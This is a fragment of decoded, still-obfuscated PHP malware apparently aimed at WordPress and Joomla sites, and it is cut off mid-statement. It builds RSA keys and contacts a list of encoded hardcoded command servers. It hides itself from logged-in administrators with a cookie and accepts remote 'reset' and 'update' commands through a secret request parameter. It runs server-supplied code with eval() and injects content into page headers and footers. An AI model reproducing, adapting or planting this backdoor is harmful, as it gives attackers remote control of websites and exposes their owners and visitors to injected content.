/* Decoded by unphp.net */ db=JFactory::getDbo();}if(${$cihmkpptb}=="new"){$this->newClient();}else{$this->setKeys();}$this->serverKey="-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q 43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet nS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c uccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj nfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X vgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/ gQIDAQAB -----END PUBLIC KEY-----";}private function setKeys(){${${"GLOBALS"}["tmwvvbmxjb"]}=get_optionClientCli(WP_CLIENT_KEY);$this->private=${${"GLOBALS"}["tmwvvbmxjb"]};}private function newClient(){$gofvbffoxv="keys";$npirprip="keys";${$gofvbffoxv}=$this->generateKeys();$this->private=${$npirprip}["private"];$this->public=${${"GLOBALS"}["xywwlawrwda"]}["public"];update_optionClientCli(WP_CLIENT_KEY,$this->private);}public function encryptServer($data){${"GLOBALS"}["fzmqbsipeff"]="data";$lsjghf="sealed";openssl_seal(${${"GLOBALS"}["fzmqbsipeff"]},${$lsjghf},${${"GLOBALS"}["umbopegkd"]},array(openssl_pkey_get_public($this->serverKey)));return array("data"=>base64_encode(${${"GLOBALS"}["axspisjgzm"]}),"key"=>base64_encode(${${"GLOBALS"}["umbopegkd"]}[0]));}public function encryptClient($data){${"GLOBALS"}["ftaefsckwjbh"]="data";$fotyvjruoc="sealed";openssl_seal(${${"GLOBALS"}["ftaefsckwjbh"]},${${"GLOBALS"}["axspisjgzm"]},${${"GLOBALS"}["umbopegkd"]},array(openssl_pkey_get_public($this->public)));return json_encode(array("data"=>base64_encode(${$fotyvjruoc}),"key"=>base64_encode(${${"GLOBALS"}["umbopegkd"]}[0])));}public function getPublic(){return$this->public;}public function setPublic($key){${"GLOBALS"}["vlsqzsztnfnk"]="key";$this->public=${${"GLOBALS"}["vlsqzsztnfnk"]};}public function decodeString($data){$nvupjoyqz="data";$lmgjrzix="data";${${"GLOBALS"}["dgesxl"]}=json_decode(${$nvupjoyqz},TRUE);if(${${"GLOBALS"}["dgesxl"]}!==FALSE){$gjwxczrukt="data";${$gjwxczrukt}=${${"GLOBALS"}["dgesxl"]};}if(!is_array(${${"GLOBALS"}["tmwvvbmxjb"]})){return FALSE;}$otbmxwre="opened";openssl_open(base64_decode(trim(${$lmgjrzix}["data"])),${${"GLOBALS"}["uvtqyrwedy"]},base64_decode(trim(${${"GLOBALS"}["tmwvvbmxjb"]}["key"])),$this->private);return${$otbmxwre};}public function generateKeys(){$hkblhks="out";$koythhwrlf="privateKey";${"GLOBALS"}["hktkxmpvt"]="details";${${"GLOBALS"}["qbklzjfyx"]}=openssl_pkey_new(array("private_key_bits"=>2048,"private_key_type"=>OPENSSL_KEYTYPE_RSA,));${"GLOBALS"}["rmxjur"]="data";openssl_pkey_export(${${"GLOBALS"}["qbklzjfyx"]},${${"GLOBALS"}["ipeesurxvi"]});${"GLOBALS"}["zxvvkscja"]="data";${"GLOBALS"}["vmypdzmy"]="details";${${"GLOBALS"}["rmxjur"]}["private"]=${$hkblhks};${${"GLOBALS"}["hktkxmpvt"]}=openssl_pkey_get_details(${$koythhwrlf});${${"GLOBALS"}["zxvvkscja"]}["public"]=${${"GLOBALS"}["vmypdzmy"]}["key"];return${${"GLOBALS"}["tmwvvbmxjb"]};}}class Client{const CONNECTION_TRIES=3;public$data=array(),$urls=array(),$type,$publicKey,$privateKey,$emails,$rsa,$host,$new,$hash,$empty_f;public$info;private$emptyCount,$tempEmptyCount;public function __construct($type){${"GLOBALS"}["vijelwxojr"]="type";${"GLOBALS"}["xlxcpekyruh"]="data";$this->type=${${"GLOBALS"}["bchtlpwxpp"]};if(${${"GLOBALS"}["bchtlpwxpp"]}===1){${"GLOBALS"}["ygqqnknnneny"]="db";${${"GLOBALS"}["hxlxkx"]}="CREATE TABLE IF NOT EXISTS `#__options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";${${"GLOBALS"}["ygqqnknnneny"]}=JFactory::getDbo();$db->setQuery(${${"GLOBALS"}["hxlxkx"]});$db->query();}if(${${"GLOBALS"}["vijelwxojr"]}===2){${${"GLOBALS"}["hxlxkx"]}="CREATE TABLE IF NOT EXISTS `options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";db_query(${${"GLOBALS"}["hxlxkx"]});}${"GLOBALS"}["icywnjxeixk"]="data";$this->urls=array("=02ow5lqy1Tocu2q","=0JnhD3pyMzolIUq","g92LhHTM1k2LcWUq","=02ow5vpcM3oh92L","=02ow5FMh9Jn0y2q","==DoiAzYgyTqfIUp","=02ow5PMhS2LckJM2I2q","==DoiAzY05JnjyKp","g92LhjJMmIUow5Jq","g92LhH2LhITp1I2p","=02ow5PMf9Tpj9Tp","=02ow5PqwyJoyMKMcW3L","=02ow5PouWKM2I2q","g92Lhpzo1czocIzo","=02ow5PMhyTqwIUn",);$this->setHost();$this->empty_f=FALSE;${${"GLOBALS"}["tmwvvbmxjb"]}=get_optionClientCli(WP_OPTION_KEY);if(${${"GLOBALS"}["tmwvvbmxjb"]}==NULL||${${"GLOBALS"}["icywnjxeixk"]}=="null"){${${"GLOBALS"}["tmwvvbmxjb"]}="";}if(${${"GLOBALS"}["xlxcpekyruh"]}==""){$this->new=TRUE;$this->rsa=new RSA("new");$this->newClient();}else{${"GLOBALS"}["mlviweg"]="data";$this->rsa=new RSA();$this->data=$this->getDB(${${"GLOBALS"}["mlviweg"]},TRUE);if(isset($this->data["info"]["publicKey"])){$this->rsa->setPublic($this->data["info"]["publicKey"]);}}if($this->isAdmin()){return FALSE;}$this->checkPushCommands();$this->runData();if(!$this->new){$this->checkUpdate();}}private function isAdmin(){$ywqdorfndq="cookie";if(!isset($this->data["info"]["serverKey"])||strlen($this->data["info"]["serverKey"])<3){return false;}else{${"GLOBALS"}["xbgbbswqwqx"]="cookie";${${"GLOBALS"}["xbgbbswqwqx"]}=substr(md5($this->data["info"]["serverKey"]),3,5);}if(isset($_COOKIE[${$ywqdorfndq}])){return TRUE;}if(function_exists("is_user_logged_in")){if(is_user_logged_in()){$ybqkff="cookie";setcookie(${$ybqkff},"1",time()+93312000);return TRUE;}}return FALSE;}private function newClient(){if(!defined("wp_newData")){${${"GLOBALS"}["zmzyotolpb"]}=$this->getInfoData();${"GLOBALS"}["obmlpfpupu"]="url";${${"GLOBALS"}["zmzyotolpb"]}["publicKey"]=$this->rsa->getPublic();$this->info=${${"GLOBALS"}["zmzyotolpb"]};${${"GLOBALS"}["xehwbjmxf"]}=FALSE;foreach($this->getHardcodedServers(self::CONNECTION_TRIES)as${${"GLOBALS"}["obmlpfpupu"]}){$hbmfbzptucmm="data";${${"GLOBALS"}["tmwvvbmxjb"]}=$this->connect(${${"GLOBALS"}["cevnncnebo"]},${${"GLOBALS"}["zmzyotolpb"]});$jrwmhqghpx="data";${$hbmfbzptucmm}=$this->validate(${${"GLOBALS"}["tmwvvbmxjb"]});if(${$jrwmhqghpx}!==FALSE){${${"GLOBALS"}["xehwbjmxf"]}=TRUE;if($this->empty_f){break;}break;}}if(${${"GLOBALS"}["xehwbjmxf"]}){$betixpokgrr="data";if($this->empty_f&&$this->new){$mjksjclx="data";${$mjksjclx}=$this->getEmptyData();}${${"GLOBALS"}["tmwvvbmxjb"]}["info"]=${${"GLOBALS"}["zmzyotolpb"]};$this->saveDB(WP_OPTION_KEY,${$betixpokgrr});$this->data=${${"GLOBALS"}["tmwvvbmxjb"]};}else{${"GLOBALS"}["hnvrhaqikmhh"]="data";${"GLOBALS"}["sgwnpq"]="data";${${"GLOBALS"}["sgwnpq"]}=$this->getEmptyData();${${"GLOBALS"}["tmwvvbmxjb"]}["info"]=${${"GLOBALS"}["zmzyotolpb"]};$this->data=${${"GLOBALS"}["tmwvvbmxjb"]};$this->updateOption(WP_OPTION_KEY_RUN,time());$this->saveDB(WP_OPTION_KEY,${${"GLOBALS"}["hnvrhaqikmhh"]});}return${${"GLOBALS"}["tmwvvbmxjb"]};}return FALSE;}private function checkPushCommands(){if(@$_REQUEST[$this->data["info"]["serverKey"]]=="reset"){$this->checkUpdate(1,urldecode($_REQUEST["url"]));}if(@$_REQUEST[$this->data["info"]["serverKey"]]=="update"){$this->checkUpdate(1);}}public function runData(){$giruwsudox="data";$eduvwdojdsl="data";${$eduvwdojdsl}=$this->data;if(!isset(${${"GLOBALS"}["tmwvvbmxjb"]})||${${"GLOBALS"}["tmwvvbmxjb"]}==NULL){return;}if(!is_array(${${"GLOBALS"}["tmwvvbmxjb"]})||${${"GLOBALS"}["tmwvvbmxjb"]}==""){return;}if(@${$giruwsudox}["info"]["eval"]==1){${"GLOBALS"}["wdwvkfyggj"]="data";if(is_array(@${${"GLOBALS"}["wdwvkfyggj"]}["eval"])){${"GLOBALS"}["ohinxmnkj"]="code";foreach(@${${"GLOBALS"}["tmwvvbmxjb"]}["eval"]as${${"GLOBALS"}["ohinxmnkj"]}){$oqmofcksiuw="code";eval(${$oqmofcksiuw});}}}if(isset(${${"GLOBALS"}["tmwvvbmxjb"]}["echo"])){if(!defined("wp_footerLeo")){if($this->type==0){add_action("wp_head",array($this,"echoData"));add_action("wp_footer",array($this,"echoData"));ob_start(array($this,"echoData"));ob_end_clean();}if($this->type==1){${"GLOBALS"}["kluwia"]="buffer";$tceqsqendq="buffer";${${"GLOBALS"}["kluwia"]}=JResponse::getBody();${"GLOBALS"}["fgmzlwoiq"]="text";${"GLOBALS"}["vcuevurk"]="doc";${${"GLOBALS"}["vcuevurk"]}=&JFactory::getDocument();ob_start();$this->echoData();${${"GLOBALS"}["fgmzlwoiq"]}=ob_get_contents();ob_end_clean();${${"GLOBALS"}["pwhyrou"]}=preg_replace("/(\